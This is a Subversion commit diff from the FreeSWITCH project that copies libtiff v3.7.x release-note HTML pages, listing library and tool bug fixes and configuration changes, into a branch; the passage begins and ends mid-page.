+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<ul>
+	<li> Significant changes in software configuration: we are switched
+	to GNU autotools now.
+	
+	<li> tiffset: tiffset now can set any libtiff supported tags. Tags
+	can be supplied by the mnemonic name or number.
+</ul>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> Get rid of the old configuration system and switch to
+	GNU autotools.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+	<li> libtiff/tif_ojpeg.c: Fixed problem with duplicated SOI and SOF
+	markers as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=581"
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=581</a>.
+
+	<li> libtiff/{tif_open.c, tiffio.h}: New function added:
+	TIFFIsBigEndian(). Function returns nonzero if given was file written
+	in big-endian order.
+
+	<li> libtiff/tif_print.c: added (untested) support for printing
+	SSHORT, SLONG and SRATIONAL fields.
+
+	<li> libtiff/tif_fax3.c: Avoid reading CCITT compression options
+	if compression type mismatches. See
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=565">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=565</a>.
+
+	<li> libtiff/tif_strip.c: Never return 0 from the TIFFNumberOfStrips().
+
+	<li> libtiff/tif_dirread.c: Workaround for broken TIFF writers which
+	store single SampleFormat value for multisampled images. See
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=562">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=562</a>.
+
+	<li> libtiff/tif_write.c: Allow in-place updating of the compressed
+	images (don't work properly with all codecs). For details see GDAL bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=534">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=534</a>.
+
+	<li> libtiff/tif_jpeg.c: Workaround for wrong sampling factors used
+	in the Intergarph JPEG compressed TIFF images as per bug:
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=532">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=532</a>.
+
+	<li> libtiff/tif_open.c: Use dummy mmap/munmap functions in
+	TIFFClientOpen() when the appropriate client functions was not
+	supplied by user.
+
+	<li> libtiff/tif_dirread.c: Fixed problem with handling TIFF_UNDEFINED
+	tag type in TIFFFetchNormalTag() as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=508"
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=508</a>.
+
+	<li> libtiff/tif_codec.c: Fixed typo in TIFFInitPackBits name as per:
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=494">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=494</a>.
+
+	<li> libtiff/tif_fax3.c: Fixed problem, introdiced in 3.6.1 release,
+	with the CCITT encoding modes as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=483">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=483</a>.
+        We need more work on fax codec to support update mode.
+
+	<li> libtiff/tiff.h: Fixed tag definitions for TIFFTAG_YCLIPPATHUNITS
+	and TIFFTAG_INDEXED as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=475">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=475</a>.
+
+	<li> libtiff/{tif_win32.c, tif_unix.c}: Check whether the pointer is
+	NULL before proceeding further as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=474">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=474</a>.
+	Check results, returned by the TIFFFdOpen() before returning and close
+	file if TIFFFdOpen() failed as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=468">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=468</a>.
+
+	<li> libtiff/{libtiff.def, tif_close.c, tiffio.h, tif_open.c}:
+	Separate TIFFCleanup() from the TIFFClose() in order to fix the bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=468">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=468</a>.
+
+	<li> libtiff/tif_dirwrite.c: Fixed handling of writable ASCII tags
+	that are field_passcount=TRUE properly.  Arguably anonymous custom
+	tags should be declared as passcount=FALSE, but I don't want to change
+	that without a careful review.
+
+	<li> libtiff/tif_write.c: Fixed reporting size of the buffer in case
+	of stripped image in TIFFWriteBufferSetup(). As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=460">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=460</a>.
+				
+	<li> libtiff/tif_dir.c: Incomplete cleanup in TIFFFreeDirectory(),
+	patch from Gerben Koopmans.
+
+	<li> libtiff/tif_dirread.c: Check field_passcount value before setting
+	the value of undefined type, patch from Gerben Koopmans.		
+
+	<li> libtiff/{tiff.h, tif_fax3.c}:Fixes for AMD 64 platform as
+	suggested by Jeremy C. Reed.			
+
+	<li> libtiff/tif_win32.c: Fixed problem with _TIFFrealloc() when
+	the NULL pointer passed. Patch supplied by Larry Grill.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> tiffset: tiffset now can set any libtiff supported tags. Tags
+	can be supplied by the mnemonic name or number.
+
+	<li> ycbcr.c: fixed main() declaration as per:
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=513">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=513</a>.
+
+	<li> <a href=./man/tiffsplit.1.html>tiffsplit</a>: Don't forget
+	to copy Photometric Interpretation tag.
+	
+	<li> <a href=./man/tiffsplit.1.html>tiffsplit</a>: Fixed problem with
+	unproperly written multibyte files. Now output files will be written
+	using the same byte order flag as in the input image. See
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=574"
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=574</a>.
+
+	<li> <a href=./man/tiffsplit.1.html>tiffsplit</a>: Copy JPEGTables
+	tag contents for JPEG compressed images. Reported by Artem Mirolubov.
+
+	<li> <a href=./man/tiffcp.1.html>tiffcp</a>: Close output file
+	on normal exit.
+	
+	<li> <a href=./man/tiffcp.1.html>tiffcp</a>: Don't emit warnings
+	when Orientation tag does not present in the input image.
+	
+	<li> <a href=./man/tiffcp.1.html>tiffcp</a>: Properly set
+	Photometric Interpretation in case of JPEG compression of grayscale
+	images.
+	
+	<li> <a href=./man/tiffcp.1.html>tiffcp</a>: Fixed problem with wrong
+	interpretation of the InkNames tag as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=466">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=466</a>.
+	Memory leak fixed.
+
+	<li> <a href=./man/tiffcp.1.html>tiffcp</a>: Fixed problem with
+	wrong Photometric setting for non-RGB images.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+
+	<li> Outdated stuff removed.
+
+	<li> Almost all programs are sinchronized with the current libtiff
+	and should compile without problems.
+
+</UL>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION
+KIT:</B></A>
+<UL> 
+
+<li> No changes.
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2006/03/18 17:12:47 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0beta.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0beta.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.7.0beta.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0beta.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0beta.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,162 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.7.0beta
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.7.0beta<BR>
+<B>Previous Version</B>: <A HREF=v3.7.0alpha.html>v3.7.0alpha</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<ul>
+	<li> LZW compression enabled by default. You don't need the separate
+	compression kit anymore.
+
+	<li> bmp2tiff: Added new utility to convert Windows BMP files
+	into TIFFs.
+
+	<li> The first attempt to implement a test suite.
+</ul>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> Many portability fixes in the new autotooled build suite.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+	<li> libtiff/{tif_luv.c, tif_next.c, tif_thunder.c}: Several buffer
+	overruns fixed, as noted by Chris Evans.
+
+	<li> BSD data types (u_char, u_short, u_int, u_long) is no longer
+	used internally in the libtiff. Should result in simpler configuration
+	and better portability.
+
+	<li> libtiff/tiff.h: Fix column tagging. Reference current Adobe XMP
+	specification. Reference libtiff bug tracking system to submit
+	private tag additions.
+
+	<li> libtiff/tif_dirread.c: Don't reject to read tags of the
+	SamplesPerPixel size when the tag count is greater than number of
+	samples as per bug
+	<A HREF="http://bugzilla.remotesensing.org/show_bug.cgi?id=576">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=576</A>.
+
+	<li> libtiff/{tiffio.h, tif_open.c}: Applied patches from
+	Joris Van Damme	to avoid requirement for tiffiop.h inclusion in
+	some applications. Look for details here:
+	<A HREF="http://www.asmail.be/msg0054799560.html">
+		http://www.asmail.be/msg0054799560.html</A>.
+
+	<li> libtiff/{tiffiop.h, tif_dirinfo.c}: Fixed problem with the static
+	variable as per bug
+	<A HREF="http://bugzilla.remotesensing.org/show_bug.cgi?id=593">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=593</A>.
+	
+	<li> libtiff/tif_lzw.c: LZW compression code is merged back from the
+	separate package. All libtiff tools are updated to not advertise an
+	abcence of LZW support.
+
+	<li> libtiff/tif_dir.c: Call TIFFError() instead of producing warnings
+	when setting custom tags by value. Reported by Eric Fieleke.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> tiff2ps: Avoid zero division in setupPageState() function;
+	properly initialize array in PSDataBW().
+
+	<li> tiff2pdf: Multiple bugfixes.
+
+	<li> ras2tiff:  Fixed issue with missed big-endian checks as per bug
+	</A HREF="http://bugzilla.remotesensing.org/show_bug.cgi?id=586">
+		 http://bugzilla.remotesensing.org/show_bug.cgi?id=586</A>.
+
+	<li> bmp2tiff: Added new utility to convert Windows BMP files
+	into TIFFs.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+
+	<li> No changes.
+
+</UL>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION
+KIT:</B></A>
+<UL> 
+
+	<li> This one is not longer needed.
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2006/03/18 17:12:47 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0beta2.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0beta2.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.7.0beta2.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0beta2.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.0beta2.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,131 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.7.0beta2
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.7.0beta2<BR>
+<B>Previous Version</B>: <A HREF=v3.7.0beta.html>v3.7.0beta</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+
+	<li> The code has been reviewed by Dmitry Levin: added checks
+	for values, returned by the space allocation functions, fixed
+	problems with the possible integer overflows.
+
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<li> Several fixes in the test suite.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+
+	<li> Preliminary support for BigTIFF files: now libtiff can
+	recognize and reject to open such images. ;-)
+
+	<li> libtiff/tif_dirinfo.c: changed type of XMLPacket (tag 700) to 
+	TIFFTAG_BYTE instead of TIFFTAG_UNDEFINED to comply with the info
+	in the Adobe XMP Specification.
+
+	<li> Added many checks for integer overflow and for successful space
+	allocations in the different parts of library. Code review
+	completed by Dmitry V. Levin.
+
+	<li> libtiff/{tiffio.h, tif_compress.c}: Added
+	TIFFGetConfiguredCODECs()function to get the list of configured codecs.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> tiff2bw: Write ImageWidth/Height tags to output file, as
+	noted by Gennady Khokhorin.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+
+	<li> No changes.
+
+</UL>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION
+KIT:</B></A>
+<UL> 
+
+	<li> This one is not longer needed.
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2006/03/18 17:12:47 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.7.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,233 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.7.1
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.7.1<BR>
+<B>Previous Version</B>: <A HREF=v3.7.0.html>v3.7.0</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contrib area</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="highlights"><B><FONT SIZE=+3>M</FONT>AJOR CHANGES:</B></A>
+
+<UL>
+
+	<li> This is mostly bugfix release. Most important fix is the one
+	related to wrong custom tag read/write code.
+
+</UL>
+
+
+<P><HR WIDTH=65% ALIGN=left>
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+
+	<li> autogen.sh: aclocal and autoheader should be executed after
+	libtoolize.  Also add '-I .' to aclocal invocation to check
+	current directory for macros.
+
+	<li> nmake.opt: Link with the user32.lib in windowed mode. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=697">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=697</a>
+
+	<li> nmake.opt, makefile.vc: make it easier to rename the libtiff DLL.
+
+	<li> configure, configure.ac: Added --enable-rpath option to embed
+	linker paths into library binary.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+
+	<li> tiff.h: Revert back libtiff data type definitions as per
+	bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=687">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=687</a>
+
+	<li> tif_dirread.c: Do not forget about TIFF_VARIABLE2 when
+	checking for tag count in TIFFReadDirectory() function. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=713">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=713</a>
+
+	<li> tif_getimage.c: Support for multiple-alpha-channelled
+	RGB-images as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=718">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=718</a>
+
+	<li> tif_getimage.c: #define A1 bracketing for clean build on
+	SunPro compiler.
+
+	<li> tif_dirwrite.c: Always write TIFFTAG_SUBIFD using LONG type
+	as per bugs
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=703">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=703</a> and
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=704">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=704</a>.
+
+	<li> tif_win32.c: Use char* strings instead of TCHAR in windowed
+	mode as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=697">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=697</a>
+
+	<li> tif_dir.c, tif_dirread.c: Remove TIFFReassignTagToIgnore()
+	call from the TIFFReadDirectory() function. TIFFReassignTagToIgnore
+	must be removed in the future, as it was never used properly. As per
+	bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=692">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=692</a>
+
+	<li> tif_jpeg.c: Added a work-around in order to allow
+	compilation with the heavily modified version of libjpeg delivered
+	with Cygwin.
+
+	<li> tif_dir.c: Properly handle tags, which have the uint32
+	counts. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=693">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=693</a>
+
+	<li> tif_unix.c: Make UNIX module compilable (and usable)
+	on Windows.
+
+	<li> tiff.h: Added Adobe DNG tags.
+
+	<li> tif_aux.c: Set the appropriate ReferenceBlackWhite array for
+	YCbCr image which lacks that tag (noted by Hans Petter Selasky).
+
+	<li> tif_color.c: Division by zero fixed (Hans Petter Selasky).
+
+	<li> tif_stream.cxx, tiffio.h: Added C++ stream interface
+	contributed by Edward Lam (see
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=654">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=654</a>
+	for details). Those who want to use C++ streams should
+	#include <tiffio.hxx>.
+
+	<li> tif_open.c: Removed close() in TIFFClientOpen() if file
+	is bad. This is the callers responsibility.
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=651">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=651</a>
+
+	<li> tiffio.h, tif_win32.c, libtiff.def}: Added TIFFOpenW()
+	function to work with the double byte strings (used to represent
+	filenames in some locales). As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=625">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=625</a>
+
+	<li> tif_dirread.c: Fixed problem when fetching BitsPerSample and
+	Compression tags of type LONG from broken TIFFS as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=662">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=662</a>
+
+	<li> tif_dirinfo.c: Fixed definition for TIFFTAG_RICHTIFFIPTC,
+	the writecount should have uint32 type. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=662">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=662</a>
+
+	<li> tif_write.c: Fixed wrong if() statement in
+	TIFFAppendToStrip() function as per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=660">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=660</a>
+
+	<li> tif_dirinfo.c: Change definition for TIFFTAG_EXTRASAMPLES
+	field. The caller should supply a count when setting this field. As
+	per bug <a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=648">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=648</a>. 
+
+	<li> tif_jpeg.c, tif_ojpeg.c: TIFFTAG_JPEGTABLES should have
+	uint32 count. Use this type everywhere.
+
+	<li> tif_next.c: avoid use of u_long and u_char types.
+
+	<li> tif_fax3.c: Fixed case with the wrong decode routines
+	choosing when the incorrect Group4Options tag set. As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=323">
+		http://bugzilla.remotesensing.org/show_bug.cgi?id=323</a>
+
+	<li> tif_dirwrite.c: Fixed problem with passing count variable of
+	wrong type when writing the TIFF_BYTE/TIFF_SBYTE tags in
+	TIFFWriteNormalTag().
+
+	<li> tif_compress.c: Zero division problem fixed (Vladimir Nadvornik,
+	Dmitry V. Levin).
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+	
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+
+	<li> fax2ps.c: Be able to extract the first page (#0). As per bug
+	<a href="http://bugzilla.remotesensing.org/show_bug.cgi?id=690">
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=690</a>
+
+	<li> tiff2ps.c: Fixed wrong variable data type when read Position
+	tags (Tristan Hill).
+
+	<li> tiff2ps.c: Fixed wrong variable data type when read Resolution
+	tags (Peter Fales).
+
+	<li> tiffset.c: Check the malloc return value (Dmitry V. Levin).
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+
+<UL> 
+
+	<li> No changes.
+
+</UL>
+
+Last updated $Date: 2004/12/20 19:31:44 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.2.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.2.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.7.2.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.2.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.7.2.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,222 @@
+<HTML>
+<HEAD>
+<TITLE>
+	Changes in TIFF v3.7.2
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.7.2<BR>
+<B>Previous Version</B>: <A HREF=v3.7.1.html>v3.7.1</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
